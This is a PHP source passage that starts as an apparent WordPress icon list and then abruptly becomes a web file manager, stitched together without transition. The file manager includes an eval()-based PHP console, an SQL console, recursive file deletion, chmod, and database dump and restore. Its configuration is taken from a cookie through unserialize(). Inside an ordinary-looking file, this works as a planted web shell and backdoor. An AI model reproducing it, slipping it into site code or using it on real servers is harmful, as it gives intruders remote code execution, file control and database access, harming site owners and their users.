=> 'table.svg', ), 'tablet' => array( 'label' => _x( 'Tablet', 'icon label' ), 'filePath' => 'tablet.svg', ), 'tag' => array( 'label' => _x( 'Tag', 'icon label' ), 'filePath' => 'tag.svg', ), 'tip' => array( 'label' => _x( 'Tip', 'icon label' ), 'filePath' => 'tip.svg', ), 'upload' => array( 'label' => _x( 'Upload', 'icon label' ), 'filePath' => 'upload.svg', ), 'verse' => array( 'label' => _x( 'Verse', 'icon label' ), 'filePath' => 'verse.svg', ), );  true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '